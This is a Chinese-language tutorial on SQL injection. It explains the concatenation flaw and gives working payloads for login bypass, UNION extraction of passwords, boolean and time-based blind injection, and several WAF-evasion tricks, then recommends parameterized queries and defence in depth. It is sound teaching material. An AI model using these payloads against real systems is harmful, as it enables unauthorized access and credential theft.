什么是 SQL 注入?
SQL 注入的本质是:程序将用户输入作为代码的一部分来执行。当应用程序使用字符串拼接来构建 SQL 查询时,攻击者可以通过精心构造的输入来篡改查询逻辑。
# 危险的拼接方式
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
当攻击者输入 admin' -- (注意 -- 后跟一个空格,MySQL 的注释符后必须有空白才生效;PostgreSQL/SQL Server 则无此要求)作为用户名时,查询变为:
SELECT * FROM users WHERE username = 'admin' --' AND password = ''
-- 是 SQL 中的行注释,后续的条件被注释掉了,攻击者无需密码即可登录。
分类与手法
UNION 注入
最直接的注入方式,通过 UNION 操作符将恶意查询结果附加到原查询结果中:
' UNION SELECT 1, username, password FROM users --
前提条件:要知道原查询的列数(通过 ORDER BY 试探),且各列数据类型兼容。
布尔盲注
当页面不直接返回查询结果,但存在”正确/错误”两种不同响应时,可以用布尔盲注逐位猜解数据:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a' --
工具如 sqlmap 会自动完成这个过程。
时间盲注
连布尔差异都没有时,可以通过引入时间延迟来判断:
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a', SLEEP(5), 0) --
WAF 绕过技巧
1. 注释混写
'/**/UNION/**/SELECT/**/1,2,3--
2. 大小写变换
' uNiOn SeLeCt 1,2,3 --
3. 双写绕过
' UNIUNIONON SELESELECTCT 1,2,3 --
如果 WAF 只做一次替换,替换后恰好还原为合法的 SQL 关键字。
4. 等价函数替换
当 SLEEP() 被过滤时:
SELECT BENCHMARK(5000000, MD5('test'))
5. HTTP 参数污染
利用 WAF 和 Web 服务器的参数解析差异:
?q=1&q=2 -- WAF 检查第一个,后端取最后一个
防御方案
参数化查询(Prepared Statement) 是从根源上杜绝 SQL 注入的方法:
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
SQL 语句的结构在编译时就固定了,用户输入永远不会被当作 SQL 代码执行。这条原则适用于所有编程语言——Java 的 PreparedStatement、Go 的 database/sql 占位符、Node.js 的 ? 或 $1。
除此之外,最小权限原则(数据库账号只授予必要权限)、输入校验(白名单过滤)、Web 应用防火墙(WAF)构成了纵深防御体系。
